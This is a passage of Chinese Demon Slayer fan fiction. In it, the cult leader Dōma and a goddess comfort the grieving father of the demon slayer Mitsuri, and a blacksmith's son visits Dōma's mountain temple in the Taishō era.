“我听茶屋的大叔说了令嫒的事…如果您不嫌弃的话,就请收下这个吧。” “啊,这怎么好意思…” “没关系的,如果是祭奠这么重要的事,还是不要耽误的好。”染温和地笑了笑,打开了手中的纸伞,“雪这么大,我送您过去吧,甘露寺先生。” “这么说,你是在东大文学部念书的学生?” 甘露寺先生说话的语气非常儒雅,交谈之后得知,他确实曾经是大学的老师,但现在从事英文翻译的工作。 “只是旁听生而已,正式工作是经营洋食屋。” 以及给某只鬼的寺院打工。 “了不起啊!这么年轻,已经有自己的店了吗?” “是啊,不过也是借了一大笔钱才从洋人那里买下来的产权。” 所以才不得不打工还债,但这债好像越欠越多啊… 先是神社,然后是店…也不知道什么年月才能还清。 明明说好用卖掉几家米店的钱买下洋食屋作为寺院的产业,童磨却临时改了主意,笑眯眯地说什么“既然是小染提议的,就是你名下的店啦,但钱要算成你从我这里借的哦~” 一个没算计到,就被鬼算计了。 想到那只鬼拿着她写下的借据,一副洋洋得意的样子,荒川之神就咬牙切齿。 在信徒们面前装成温柔又包容的“神之子”,事实上是个除了有钱和长得好看之外,简直一无是处的家伙…不,那就是只狡诈的狐狸! “真好啊…” 她忽然听到甘露寺先生发出这样的感叹。 “诶?” “身为女孩,却这么努力,你的父母一定很为你骄傲吧。” “我的…父母?” 那早在一百多年前,就被心念失控、显出荒神形态的她吞噬的父母… 染下意识地低下头,躲开了甘露寺先生的目光。 “我没有父母…我是在神社里长大的。” 在神社里长大的,被父母视为不祥的孩子。 “…抱歉。” “没什么,您不必道歉。”染抬起头,重新恢复了笑脸,“是很久以前的事了,我早已经不在意了。” “这样啊…”甘露寺先生看向马路对面几个穿着行灯袴路过的女学生,“还请不要介意,你年纪看着和我家孩子差不多…有十八岁了吧?” “我十九岁啦。” 在年龄问题上面不改色地撒谎,荒川之神早已驾轻就熟。 “果然和我家蜜璃同岁呢…不,那孩子已经二十三岁了…如果还活着的话。” “二十三岁…不管怎么说都是大人了。”甘露寺先生抿紧了嘴角,露出一个不知是哭还是笑的表情,“我却总觉得…她还是那个围着我撒娇要樱饼吃的小女孩。啊,真是不好意思。” 染看到这个稳重的中年人眼中泛起了泪花,但他以摘下帽子做掩饰,很快擦了擦眼角。 ——你们国家的人习惯了忍耐。 第一次从洋人老板那里得到这种评价的时候,她还有点吃惊。 ——忍耐疾病、忍耐贫穷、忍耐悲伤,你们把忍耐视为美德。 ——但这是不正常的,荒川小姐,人有表达自己情绪的自由,即使表现出悲伤也不该受到嘲笑和羞辱,因为这是身为人最正常的需要。 “没关系哦。” 染轻声道。 “觉得悲伤的话,也是很正常的事。失去了心爱的女儿,您应该很痛苦吧。” 甘露寺先生转过头,呆呆地看着她。 “虽然没法为您做什么,但如果愿意,可以跟我说说令嫒的事。我听说把悲伤的事告诉别人,自己就会好受很多。” 这还是她从极乐教的信徒们那里知道的。 ——再痛苦的事,只要跟教主大人说过,得到了神明的安慰,就会觉得轻松很多。 大家都这样说。 所以那个孩子在一百多年的时间里,就那样一直坐在神坛上倾听着无数人的痛苦。 即便那些痛苦化作了侵蚀灵魂的“业”,让他失去了自己的“心”,从神子堕落成恶鬼,也没有停止过。 甘露寺先生沉默了许久,正当染开始担心自己的建议是否过于冒失的时候,他忽然开口了。 “一岁零两个月…” “诶?” “那孩子一岁零两个月的时候,就能举起家里四贯重的腌菜石。” “不光如此,她的饭量也特别大,比三个相扑力士加起来吃的都多。” “诶…诶?” 染听的呆住了。 那位蜜璃小姐…是如此特别的孩子吗? 但是,这样“不正常”的孩子,甘露寺先生在说起来的时候,语气中却满是骄傲。 “怎么样,我家孩子是不是很厉害?” 男人朝她露出了这么久以来第一个笑容。 “确实…好厉害的样子。”染由衷地说。 “她是我和内子的第一个孩子,内子常说,我们一定是很有福气的人家,上天才能让这么可爱的孩子降生在我们家。” 甘露寺先生絮絮地说道。 “那孩子性格也很好,活泼又开朗,孝敬父母,对弟弟妹妹也很照顾。” “但现在想起来,作为父母,我们还是有做的不够好的地方吧。” 染看见甘露寺先生握着伞柄的手紧了紧。 “刚上小学的时候,有天忽然从学校哭着跑回来,说大家都嘲笑她吃的多,头发的颜色也奇怪,是妖怪变的。” “虽然去找了学校的老师说明情况,嘲笑她的孩子也道了歉,但从那以后,一直到上了女校,那孩子也没交到什么朋友。” “但她从来也没有气馁过,一直都很有精神。我家蜜璃啊…真是个坚强的孩子。” 雪花不断地落在伞顶上,发出轻微的响声。染感觉四周的建筑有些似曾相识,却一时想不起何时曾路过这里。 “她从女校毕业的时候,家里人介绍了相亲对象,对方的家世很好,我以为女儿这下就能得到幸福了,哪知那混小子居然对我女儿说什么‘这世上只有熊和野猪才愿意娶你’,‘头发的颜色肯定会遗传到子女身上,真让人毛骨悚然‘!你听听,这是什么话!” 甘露寺先生脸色发红,颇有些愤慨地说。 “会说出如此过分的话,这样的人也不配娶您的女儿吧。” 染嘴上平静地说着,心里却感到遗憾。 人类是群居的生物,只要是与众不同,就一定会被当作“异常”的存在,自古便是如此。或者说,会以或是敬畏、或是蔑视的眼光看待那些天赋异禀的人,只是人类的通病罢了。 父母是孩子和这个残酷的世界之间最后的防线,但很多时候,父母也是将孩子推向绝路的那双手。 于是她接着说:“您不必自责,有些事哪怕是做父母的也无能为力…” “谁说的,我立刻找上门去揍了那小子一顿!” “诶??” 染再次被惊呆了,她看着身边这位看上去风度翩翩、据说出身名门贵族的男人,怎么也想不出他动手打人的样子。 “敢这么说我家孩子,不揍他出出气怎么行!”甘露寺先生挥舞着拳头大声说,“那小子被揍的老老实实,他父亲知道以后还痛骂了他一顿!混蛋,提起他我就生气…” “噗…哈哈哈!” 染忍不住大笑起来。 “这可真是…您真的太厉害了!” “是吗?你能这么想就太好了…事后我也觉得自己有点冲动,毕竟工作上和那小子的家族往来密切,本来应该好好相处的。但内子也说,要是那种人娶了我们家孩子,才真叫人毛骨悚然呢!” 甘露寺先生好像意识到自己的失态,有点不好意思地说。 “但是…蜜璃那孩子还是受到了伤害,我从没见她哭的那么伤心过,后来还把头发染成了黑色,也不敢再吃那么多饭,饿的整个人都精神恍惚。我和内子心疼的不行,就跟她说,没关系,就算一辈子嫁不出去,待在家里也没关系,爸爸妈妈愿意养她一辈子。” 染看着那诉说往事的男人,愣住了。 世上原来还有这样的父母吗? 人类的父母,原来可以这样爱自己孩子的吗? 人类的父母… “那之后没多久,她忽然告诉我们找到了适合的工作,工作的地方没人嫌她吃的多,头发颜色奇怪也没关系,还能帮助很多人…我托朋友查了那家组织的情况,却只找到一些模糊的信息,不知道为什么连市政府也没有登记。问她,她就只说是类似巡警的工作,但她力气大,完全能保护好自己和同伴。” 染隐隐觉得不对劲,但又说不出哪里不对。 她微笑道:“应该是不想让你们担心吧,您有个懂事的女儿。” “我们确实担心过,毕竟女孩子家晚上出门工作实在太危险了,但那孩子真的很开心,她说她有了待她很好的师父,也交到了朋友,甚至…有了喜欢的人。” “她新交到的朋友告诉她,她的肌肉密度是正常人的八倍,所以吃的多也完全正常,所以她就再也不自卑了。”甘露寺先生笑着说,“听说升职的时候上级还鼓励她不要在意别人的眼光,要为自己的强大而自豪。从电话里我都听得出她有多高兴,做父母的,还能要求什么呢?只要女儿觉得幸福怎么都可以,我和内子一直是这么想的。” 他轻轻呼出一口气。 “但是…现在我们很后悔。” “要是知道会有生命危险,我们无论如何也不会同意她做这份工作。” 染的脚步越来越慢,最终停下了。 面前出现了一条宽阔的街道,马路两边和式建筑和西洋建筑交错在一起,有银行,有餐厅,有电影院…但她还是认出,这是四年前无限城大战时,鬼杀队与鬼王无惨最终决战的地方。 她曾经来过这里,还从无限城的废墟里找回了童磨的扇子,当时空气中浓烈的血腥味几乎让她吐出来。 现在,这里好像什么都没发生过一样。路两边有汽车和电车匆匆驶过,行人寥落,天地被不断落下的大雪染成一片纯白。 无惨大人克服了阳光,此刻正拟态成那个叫彼方的小姑娘,在产屋敷的宅邸里潜藏着。 而童磨和她过了三年平静的日子,寺院里的生活忙碌又琐碎,加上东京和京都两头跑,生活正常到让她差点忘记极乐教的教主大人是一只鬼。 天道在提醒她,作为神明,她干涉了这场战争的结局,于是自己也被纠缠进了人与鬼的因果之中。 甘露寺先生的女儿是猎鬼人,死在无限城大战中。这个事实让染的心情变得格外沉重。 “我家孩子没有葬在东京,虽然那个组织的人说他们有专门的墓地,但内子无论如何也不想和孩子分开,所以办完后事就带着她的骨灰回了老家。” 甘露寺先生深深地叹了口气。 “内子因为这件事大病一场,这两年身体才逐渐康复,但说什么也不肯再回东京来,长子也在大阪那边念大学,其他孩子还小,所以就只有我一个人来了。” “因为那个组织的人说最后是在这里发现她的。” “我接到电话赶过来的时候,已经…” 男人的声音明显哽咽起来,他一动不动地注视着眼前的街道。 “她被一个男孩子抱在怀里,两个人都死了…有个年轻人说他们是恋人…这傻孩子也真是的,明明有了恋爱对象,也不知道带回家给我们看看…” “所以…到最后,他们给您的解释也只是…瓦斯爆炸?” 染小心地问道。 甘露寺先生轻轻摇了摇头。 “这话说出来你肯定不信,因为连内子都不信…那个组织的当主告诉我,说他们是死在和‘鬼’的战斗中。” 他迟疑了下,似乎是担心被当作迷信的人,又解释道: “我也不知道他说的‘鬼’是什么,虽然从小就听过类似妖怪的传说,但那种东西…那种东西怎么可能出现在现实中,在东京…” “我很想要个合理的说法,但那个当主自己也只是个孩子,听说父母也刚刚过世,看起来脸色很憔悴,我实在不忍心为难一个孩子…加上他们说…不论是这个组织还是‘鬼’的存在,都不被公开承认,哪怕说出 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虽然一大早就跟她来了店里,但出来买点心之前明明看他乖乖坐在窗边看书来着,因为怕他无聊还特意说了很快就会回去… 慢着,难道我已经出来很久了? 染连忙看向旁边大楼上的石英报时钟,才发现时针已经指向了下午两点。 呃…和甘露寺先生聊天忘了时间,竟然已经这么晚了吗? “您…您是…?” 大概是童磨的长相太特别,身高又太有压迫感,甘露寺先生居然愣住了。 “我是万世极乐教的教主,给大家带来幸福是我的使命。” 居然!居然能毫不尴尬地对初次见面的陌生人说出这种话吗!不愧是你啊童磨! 染的脑子正一团乱,就看到童磨从兜里掏出一串黑檀念珠,相当熟练地在手上绕了两圈,然后情真意切地握住了甘露寺先生的手。 “既然此处是令嫒英勇献身之地,就让我来帮这个好孩子诵经祈求冥福吧。” 于是甘露寺先生真的将包里的线香和香炉拿了出来,染也将装点心的盒子打开,不顾路人纷纷投来怪异的眼神,在路边摆了一个小小的祭坛。 啊…这样居然也可以… 真的不会被人当成骗子吗? 虽然如此腹诽,然而听到诵经声的甘露寺先生…似乎真的安心了不少。 “您能帮我这个忙真的太好了…毕竟之前在别的寺院,我连女儿的真正死因都不敢说出来…”他感慨地说,“听僧人们说,人死之后,灵魂可能还在出事的地方徘徊不去…就想着,真是那样的话,我家孩子也太可怜了…一个人孤零零地在这种地方…” “不会哦,请不必担忧。”童磨垂下眼帘,用平静的语气说,“令嫒已经没有遗憾地离开此世,前往彼世了,而且来世还会转生成您的女儿哦。” “啊…那就…太好了…如果有那样的缘分…” 甘露寺先生这次没有用摘帽子做掩饰,他终于大声地哭了出来。 “如果有那样的缘分…蜜璃啊…我们来世还做父女吧…爸爸妈妈一定会保护好你…” 染环顾四周,街道空空荡荡,没有徘徊不去的灵魂。 产屋敷和神官家族联姻,应该是在事后做了相关的法事。 但被留在世上的人们,还有很长的路要走。 她看得见,那个孩子从小到大的画面,正一幕幕闪现在甘露寺先生的脑海中。 从蹒跚学步咿呀学语,到变得调皮捣蛋力大无穷,到长成开朗活泼面颊粉红的少女。 欢笑着,哭泣着,这就是人类。 人类的一生如此短暂,又如此精彩。 只不过,我们没能生在美好的时代,也没能遇到甘露寺家这样的父母,所以,我们没能作为人类活下去。 但此时此刻,在飞扬的雪花中,她却产生了某种错觉。 寒风扬起了童磨白橡色的长发,鬼神的眼睛在冬日昏暗的天光下散发着七宝琉璃般的华彩。 她好像真的看到了,当年江户城的路边,那个微笑着向她伸出手的小神子,长大成人的风姿。 回到店里时已经是下午四点,刚进门染就被吓了一跳。 这种天气居然还有客人!还是好几桌! 而且…全是女性! 童磨笑嘻嘻地拍了拍手。 “诶呀诶呀,抱歉啦,天气不好,本店马上要打烊了,各位可爱的小姐如果喜欢的话,以后每个月的这几天我都会在店里哦~” 身穿各色和服洋服的少女和太太们发出失望的声音,依然围在那只鬼身边不愿意离开。 “说话要算话哦!” “留个电话给我们吧!” “下次一定要来哦!” 染一把抓住在店里打工的阿萤拖到墙角,压低声音问: “什么情况?” 阿萤姑娘满眼都是崇拜的泡泡:“不愧是教主大人!仅仅是坐在窗边的位置用西洋纸牌帮大家占卜,就一下吸引来好多人呀!” “纸牌占卜?!” 这又是什么新鲜玩意?!这家伙什么时候学会的?! 好不容易等到最后一位客人依依不舍地出了门,染才扑到那张靠窗的桌子前,抓起桌上花花绿绿、印着洋文的纸牌仔细端详。 “ma…gician?魔法师?这是啥啊?” 拜英国老板所赐,她洋文学的还可以,但从未见过这样奇怪的纸牌,不禁脱口问道。 关键是这鬼他从来没学过洋文啊… “这个叫做‘塔罗牌’哦,之前在西洋书店买的,画得很可爱吧?” 童磨走了过来,笑眯眯地拿起其中一张纸牌:“有点类似花札牌的样子,多有趣呀~” “重点是…这东西怎么用来占卜的?不对,你什么时候学会占卜的?” “这话说的,信徒们也会咨询我运势这种问题嘛。再说明明很简单呀,只要顺着对方的意思说,稍微卖点关子就好啦~” 原来纸牌只是招揽生意的幌子而已,这家伙的脑子还真是好用! 染的声音柔和下来:“所以我不在店里的时候…童磨大人就靠这个招来了这么多客人?” “小染帮我工作,我也帮小染工作呀,这不是拯救了小染的生意嘛,不用感谢我,毕竟人家就是这么善良的人…诶?” 满脸写着“我是吉祥物”的教主大人,下一秒就被神明小姐紧紧地抱住了。 “谢谢你…”染轻声说。 她脑子不笨,当然知道所谓借钱给她开店,只是眼前这只鬼在以他的方式支持她。 每次她来店里,都说着“人家也要一起去”,然后就这么开车往返于山里和东京市区。 在作为上弦之贰的自己曾经死去的地方,帮猎鬼人的少女诵经。 从小在祭坛上长大、感受不到人类情感的神之子,在努力地,学着爱人。 这样就已经足够了,只要向前走,就足够了。 “不过,果然还是无法理解呀…” 童磨发出了轻轻的叹息声。 “人类为什么要为死亡感到悲伤呢?毕竟有灵魂,就还有来世嘛,死掉的话,只要重新诞生在世上不就好了…” “不是那样的。” 染抬起头,认真地盯着他,目光清澈而坚定。 “童磨,生和死是所有生命都会经历的过程,但生命从来都不在于生和死这两件事,而是在于中间的部分。” “就像我一样,虽然作为人类的时间很短暂,虽然不被父母所爱,虽然很寂寞…但我还是想要活下去,因为我喜欢的东西太多了啊,甜甜的团子,撒了木鱼花的炸豆腐,江户的樱花,风车,萤火虫…” 她微笑起来: “还有你,就算京都离江户很远,可我每一天都期待着和你重逢,期待着跳神乐舞给你看,期待着你长大的样子…正因如此,我从来不认为那段时光是毫无意义的,相反,那是我最珍惜的记忆。” “所以…我现在也很期待未来的样子。” “百年之后的世界会变成什么样子呢?如果还能和那些猎鬼人的孩子在没有仇恨的时代再见面,我们是不是就能彼此理解了呢?真的好希望那一天早点到来啊。” 童磨微微一笑。 “白姬小姐果然还是老样子啊,永远有这么多可爱的愿望。” “切,我就是这样的人嘛!” “那么,我就暂且和白姬小姐一起期待一下好啦。啊,对了对了,山田来电话说今天寺里打了年糕哦~” “什么!打年糕怎么不叫我!快点收拾东西我们回去啦!突然好想吃烤年糕和白味增杂煮!” “诶…话说又要到新年了呀,初诣和祈福什么的安排就都交给小染啦~” “有什么了不起的,反正要花好几天像个雕像一样坐在那里接受信徒朝拜的是你,哈哈!” 在东京处理完新年期间的一系列事务,回到京都已是来年三月。 春寒未退,小仓山中的山樱却已是含苞待放。 染在某日收到了一个包裹,打开一看,里面竟是满满一盒“四叶屋”的樱饼,和一本尚带着墨香的外国诗集,署名处写着作为译者的甘露寺先生的大名。 背负着悲伤的甘露寺先生,看起来也在努力走出失去女儿的伤痛,染在心中默默祈愿着。 她在檐廊上坐下,翻开了那本诗集,发现扉页上用俊秀的钢笔字手抄了一首诗: 你的儿女其实不是你的儿女, 他们是生命对于自身渴望而诞生的孩子。 他们藉助你来到这个世界, 却并非因你而来。 他们在你身旁, 却并不属于你。 你可以给予他们的是你的爱, 却不是你的想法, 因为他们有自己的思想。 你可以庇护的是他们的身体, 却不是他们的灵魂, 因为他们的灵魂属于明天, 属于你做梦也无法达到的明天。 ——纪伯伦 120. 【明治篇番外】未闻神名(1) 大正七年(1918年)冬,除夕。 下雪了。 细雪混着冰雨,绵绵不断地从天飘落。山中的石板路很快覆上了一层茫茫的白色,吉助小心地用手中的棍子探着路,刚上了两级石阶,觉得哪里不对,又拧着眉头看了看。 糟糕,木屐的带子断了。 早不断晚不断,偏偏挑这个时候,人倒霉还真是喝凉水都塞牙。 吉助往怀里摸了摸,摸出一捆细草绳,三下五除二将木屐绑好,抬头望着那条延伸向黑暗中的小路,呼出一团白气。 这路可真不好走,自己六岁那年到底是怎么跟老爹走完的呢? 想起老爹弘藏那张可怕的脸,他不禁下意识地像小时候那样缩了缩脖子,好像父亲的巴掌马上就要落到自己头上似的。 ——臭小子,给我打起精神来! ——我弘藏的儿子可不能是孬种! 老爹的怒吼声犹在耳畔,人却已经在夏天时往生净土了。 就算临死前,那张嘴说话也还是那么难听: “阿吉啊,你小子天资平平,这辈子是没法继承我的手艺了。但是…作为我弘藏的儿子,铁谷家的后人,以后要做个守信的人啊…” 他点了点头: “您就放心吧,那件事我就算掉了脑袋也不会忘的。”老爹咧着嘴笑了。 “傻小子…人掉了脑袋…就没命了。” 老爹年轻时参加过鸟羽伏见之战,除了一条被维新派的子弹打残了的腿,从战场带回来的还有变得阴晴不定的暴脾气。吉助的娘死得早,老爹靠打铁养活家人,很少有人知道,铁谷家的祖辈是京畿一带小有名气的锻刀匠人,锻造的太刀曾经被作为贡品进献给幕府,还得到了将军的亲口嘉奖。 然而,随着新政府的一纸《废刀令》,武士的时代就这么结束了,铁谷家也从御用的刀匠变成了普通的铁匠。 “天皇是啥东西!老子只认识庆喜公!” 天不怕地不怕的弘藏,曾经在喝醉时如此叫嚣,气的当时还在世的祖父破口大骂: “浑小子!我看你是不想要脑袋了!老子可没十两金子再赎你一次!” 此话一出,弘藏就像盐渍的茄子似的蔫了下去,嘴里却不忿: “臭老头,我又没叫你去借钱…” 铁谷家有个秘密:弘藏的买命钱是向“神子大人”借的。要是没有祖父借来的那十两金子偷偷塞给看押俘虏的军曹,弘藏早像他的同伴们一样,被当作逆贼砍了脑袋。 因此每到过年,祖父总要带着弘藏去御岳山里拜见那位神秘的“神子大人”。父子俩吃完大晦日的荞麦面就动身,山高路远,待到弘藏大声喊着“阿吉,看看爹给你带了什么好吃的!”出现在家门口时,总是两天之后了。 直到明治二十五年,祖父去世,进山拜神的人换成了弘藏和吉助自己。 “爹啊,咱们不去不行吗?”吉助看着黑下来的天色,有点害怕地说,“我听隔壁大婶说,晚上会有鬼出来呢。” “不行,这是祖辈和神明的约定,只要咱们家还有后人,就一定要遵守。”弘藏替他披上蓑衣,大手用力在他肩上拍了拍,“给我打起精神来!男子汉大丈夫,不许垂头丧气的!” 吉助倒是不想垂头丧气,但他过了年虚岁才八岁。紧紧抓着父亲的手,男孩在山路上走的跌跌撞撞,摔倒了好几次,连鼻涕都被冻住了,双手和脸上也渐渐没了知觉。 他好想念家里的火炉。 “我走不动啦,爹…”吉助冷的牙齿打颤,很没出息地哭了出来,“我…我想尿尿…” “憋着。” “憋不住啊,真不行了…” 弘藏叹了口气,扭头用要杀人似的眼神看着儿子。 “给老子快点!” 解决完内急,吉助哆哆嗦嗦地走到父亲身边,却看见弘藏把身后背的桐木箱换到前面,背朝着他蹲了下来。 “上来。”父亲粗声粗气地说。 吉助喜出望外地一把抱住了弘藏的脖子。父亲背着他站了起来,拄着棍子又上了路。 是啊,怎么忘记了呢,六岁那年,这段最难走的山路是被父亲背着走过的。 不光如此,七岁那年和八岁那年,每每进山,父亲都会一边嘴里骂他是个胆小鬼、“没用的东西”,一边背起他,一瘸一拐地走完这段路。弘藏平日里不拘小节,每到这时换上的却是洗的干干净净的旧羽织,散发着好闻的皂角味儿,像家里的被窝,吉助趴在父亲背上,往往没一会儿就犯困,再醒来时就已经到了。 他们从来没有遇到过传说中的鬼。 “爹你快看,好大的池塘…” “闭嘴。” 弘藏低声呵斥。为他们引路的女人身着白色教服,提着盏白纸灯笼,一言不发地走在前面。 有点可怕,简直像山姥一样。 这座深山里的寺院虽然看着宁静祥和,却透着股莫名的邪气,越往里面走,那种让人头皮发麻的气息就越强烈。吉助有点害怕地拽住了父亲的衣袖,小声说: “我觉得这里…” 还未说完,弘藏就一把捂住了他的嘴。 提着灯笼的女人回头看了一眼,轻轻一笑。 “马上就到了,教主大人一直在等你们呢。” 她轻声细语地说。 “教主大人慈悲为怀。” 吉助惊讶地发现,一向粗狂的父亲在这里竟然变得谦恭起来,他谨慎地说着敬语,但绷紧的脊背暴露了他的紧张。 父亲在紧张什么呢? 穿过重重回廊,女人终于停在一扇绘着莲花的门前,恭敬地说道: “教主大人,铁谷家的父子来了。” 门里传来个轻快的声音: “啊,是弘藏来了吗?快叫他们进来吧!” 纸门被拉开,上品伽罗香的气息扑面而来。吉助的视线越过一排排明灭的烛火,看见祭坛上坐着个披黑袍的年轻男人。 男人戴着顶古怪的黑帽子,笑容非常和蔼可亲,但吉助最先注意到的,是他长及腰际的头发竟然是雪一样的白色。 还有那双眼睛,如同剔透的冰晶,在灯火中折射出七色华光。 美丽到近乎妖异的,神之子。 似乎是留意到躲在父亲身后的孩子的目光,祭坛上的男人歪了歪头,饶有兴致地问: “诶呀,这是弘藏你的孩子吗?已经这么大了?” “是,教主大人,这正是犬子吉助。”弘藏跪坐在地上,深深地俯下身体,却发现儿子像傻了似的站着没动。 “阿吉!” 男孩张了张嘴,像是完全搞不清眼前的状况似的,忽然冒出一句没头没脑的话: “你…是妖怪吧?” 弘藏的脸色一下子白了。他紧紧抓住儿子的肩膀:“胡说什么!快向教主大人道歉!” “爹,他明明就是妖怪吧!我听隔壁大婶说过,妖怪就是跟人长得不一样!”吉助边大声说,边拽着父亲的手往外拖,“咱们回家吧!万一被他吃掉就惨了!” “混账!信不信我揍你?!” 吉助吓得怔住了,在他的印象里,爹虽然经常吓唬他,但从未露出过这种混杂着恐惧、愤怒以及难堪的表情。 他瘪了瘪嘴,眼泪正要掉下来,忽然听到有个声音不紧不慢地说: “呐,你是叫小吉对吧?” 吉助转过头,看到祭坛上的年轻男人一手托着腮,笑意盈盈地看着他。 “你知道你父亲为什么要带你来我这里吗?” 他的声音极其温柔,莫名令人安心。吉助忘了害怕,呆呆地摇摇头。 “因为他欠了我很多钱,所以必须为我工作来还债,如果还不完的话,剩下的债务就由你来偿还哦~” “神子大人”笑的相当灿烂,但话说的一针见血,丝毫不留情面。 “啥?” 吉助这才想起爷爷说过家里似乎是欠了眼前这家伙的债,虽然暂时不理解“很多钱”究竟是多少,但对方既然是债主,他就立刻底气不足了。 说到底,长到这么大,妖怪倒是没见过,但欠了一屁股债流落街头的落魄武士他是见过不少的。 “还有,你新年吃的米和秋刀鱼也是我送的哦,对了,应该还有年糕饼什么的吧?”祭坛上的男人愉快地补充道,“小吉长得很结实,可是拜我所赐呐~” 父亲和爷爷每次进山,都能带回来够吃一个月的米,也是一年中家里为数不多的能吃到不掺芋头和豆子的白米饭的日子,还有香喷喷的赤味增煮秋刀鱼,所以过年也是吉助最开心的日子。 “有、有什么了不起的!”吉助的气势更弱了三分,但还是梗着脖子说道:“等我长大了…” 咕噜噜—— 好巧不巧,他的肚子在这时不争气地响了起来。 好饿,早知道要走这么多路,就多吃一碗荞麦面了… “诶呀诶呀,我就说小孩子饿的快嘛~”祭坛上的男人露出了狐狸般狡猾的笑容,“厨房好像有刚煮好的红豆年糕汤哦?” “呜哇…好饱…” 吉助伸了个懒腰,才发现爹在瞪自己,只得规规矩矩坐好。 包着油豆皮的饭团也太美味了,他足足吃了三个。 还有热乎乎的红豆汤,喝下去整个人都暖和起来了。 小孩子很容易满足。吃饱喝足,吉助开始打量起这间屋子,看样子是这位教主大人的私人会客室,祭坛四周是雕花的木框,垂下的纱帐是薄暮色,靠墙是镶嵌着螺钿的乌木柜子,柜子上摆着一只朴拙的陶瓶,瓶中插着支怒放的白梅,朵朵梅花如透白的瓷,散发出馥郁的幽香。 像是大地一样不起眼、甚至有些粗糙的土色陶器,以及仿佛拼尽全部生命在盛开的梅花,不知为什么,在看到这件插花的瞬间,吉助就被深深迷住了。 “啊,所以弘广已经过世了吗?真是令人伤感呀。” “是,家父临终前托我转告您,感谢您对我们一家的关照,家里的手艺也算有了继承人,他也可以安心地去了。” “看来他对弘藏你很有信心呢,那今年就也拜托啦。” “是。吉助,你过来。” 听到父亲叫自己,吉助才将视线从花瓶上移开,看到弘藏打开了那只带来的桐木箱,里面装满了他从来没见过的工具。 而弘藏的面前放着一只铺了白锦的托盘,里面是两把金色的扇子。 “咱们家虽然在迁到江户后世代为幕府锻刀,但要说最完美的作品,还属第三代当家锻造的这对铁扇。” 弘藏从盘中取出一把扇子,在吉助面前缓缓展开,光滑如镜的扇面上雕饰着栩栩如生的莲花和莲叶,华美的好像供人玩赏的名器,边缘却薄如蝉翼,寒光烁烁,一看就是杀人饮血的利器。 “好好用你的眼睛看着。” 吉助看到父亲小心地解开连接扇叶的丝线,那丝线不知用什么加固过,韧性极强,之后将一片片扇叶分开摆好,从工具箱中取出几块大小颜色都不同的的砥石来。 “这是金刚砥,作基本整形之用,若刀刃上有锈蚀,要先用这个去掉。” “这是备水砥,用来平整刃口。凡是兵器,用过之后刃上都会有轻微的磨损,所以才需要定期打磨。” “这是中名仓砥和细名仓砥,用来去 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“说起你家的三代目,我还记得很清楚哦,铁谷宗三郎,号‘飞鸟斋’,当时在京都和奈良那边的名气很大呢。我第一次派人去请他的时候居然吃了闭门羹,听说是被知恩院的住持请去喝茶了,后来还是拜托御茶奉行大人作为中间人才见到,嗯…当时他也就二十多岁吧,见面第一句话居然是‘我只给武士锻刀,你这家伙又不是武士,是想谋反吗’,诶呀,别提多不给人家面子了~” 弘藏低着头,边干活边呵呵笑道:“您居然也有吃闭门羹的时候?真是想象不来啊!我听父亲说过,后来您送了一尊金佛,才说服了三代当家出山?” “岂止是钱,我可是拿出了珍藏多年的好酒呐~”教主大人的语气颇为感慨,“宗三郎那个人很喜欢喝酒,但又总把‘饮酒作乐是会让人堕入阿鼻地狱的’这种无聊的话挂在嘴边,实在是个怪人呢…” “他画的鸟真的能从纸上飞出来吗?” 吉助忍不住插嘴道。 “小吉真可爱呀,不过那种事是办不到的哦~”教主大人笑嘻嘻地说。 “原来不是真的啊…”吉助有点失望地说,“爷爷说之所以有飞鸟斋这个名号,就是因为三代当家画的花能闻见香味,画的鸟能叫会飞…” “大人说话,小孩子插什么嘴。”弘藏不耐烦地打断了他,“叫你在一边用心看着就好,你那是在干什么?” “没,没干什么…” 吉助下意识地用手去盖面前的纸,却听见祭坛上的男人故作惊讶地“哦”了一声。 “小吉在画什么呀?给我看看嘛~” 男孩忐忑不安地看了眼黑着脸的父亲,见没被责骂,才站起身磨磨蹭蹭地走到祭坛边上。 “傻站着干嘛?上来呀。” “教主大人!”弘藏急忙说,“这恐怕不合礼数…” “怕什么,我又不会吃了他。” 祭坛上的男人弯着眼睛,依然笑的温和。 “毕竟,是男孩子嘛。” 他轻柔地说。 吉助爬上祭坛,不明所以地将手中的宣纸递了过去。 “啊,是那边的梅花呀。” “嗯。” “画的很不错哦,小吉喜欢画画吗?” “喜欢…” 吉助小声说。 “但爹说不行。”他马上补充道。 “诶?为什么?” “不知道。” “几张破纸,又不能当饭吃。”弘藏边干活边冷冷地说,“还不如专心跟我学手艺,将来也好养活自己。” “原来如此。所以小吉认字了吗?” 吉助摇摇头:“没有,爹说洋学校只会教坏小孩子,不准我去。” “诶…果然还是不行吧,弘藏?” 弘藏手上的动作微微停顿了下。 “说到底,你也还是‘逆贼’的身份啊,是怕被人知道之前那些事吧?” 教主大人托着下巴,似笑非笑地看着他。 “…您又在拿我取笑了。” “之前你父亲跟我说过你们被村子里的人赶出来的事,你还被大家斥骂成’幕府走狗’,所以连老家也回不去了吧,只能这样东躲西藏的,真是可怜呐…” “教主大人!请您…求您…不要在这孩子面前…” 弘藏突然俯下身,额头紧紧贴在地上,攥紧的拳头微微颤抖着,声音也是。 空气安静了一刻,吉助迷惘地看了看父亲,又看了看身边俊美的白发男人。 他面无表情地垂目看着弘藏,宛如一尊冰做的佛像。 但下一刻,笑容就重新出现在他脸上。 “诶呀诶呀,都说是开玩笑啦~” 教主大人哈哈大笑起来。 “呐,小吉。” 他笑嘻嘻地伸手摸了摸男孩的头。 “我这里有很多漂亮的画哦~” “哎?真…真的?”吉助的眼睛亮了起来,“骗人的吧?我怎么没看到?” “是以前的信徒送我的,因为太多了嘛,所以就暂时存放在寺院的库房里啦,正好缺个勤快的孩子来帮我整理,不如以后每个月的月末都让你父亲送你过来吧?” 弘藏闻言猛地抬起头来,脸孔涨的通红,看上去既激动,又羞愧: “教主大人!这,这可让我…” “不用想太多,弘藏,只是觉得这孩子跟我很有缘份而已。” 这一刻神子大人的笑脸深深地留在了吉助的记忆里,尽管那双虹彩的眼瞳中里有墨色的字迹一闪而过。 这张脸在往后的三十年,都没有改变分毫。 121. 【明治篇番外】未闻神名(2) 日月乃百代之过客,逝去之年亦为旅人也。于舟楫上过生涯,或执马鞭而终其一生之人,日日生活皆为旅行。 ——松尾芭蕉 雪越下越大了,仿佛要将这黑夜中的世界彻底淹没似的。 可能是这座山变得不一样了。吉助想。 不,不是山的错。 是童年的他没有意识到,相对于山川而言,人的生命太过短暂,也太过渺小了。 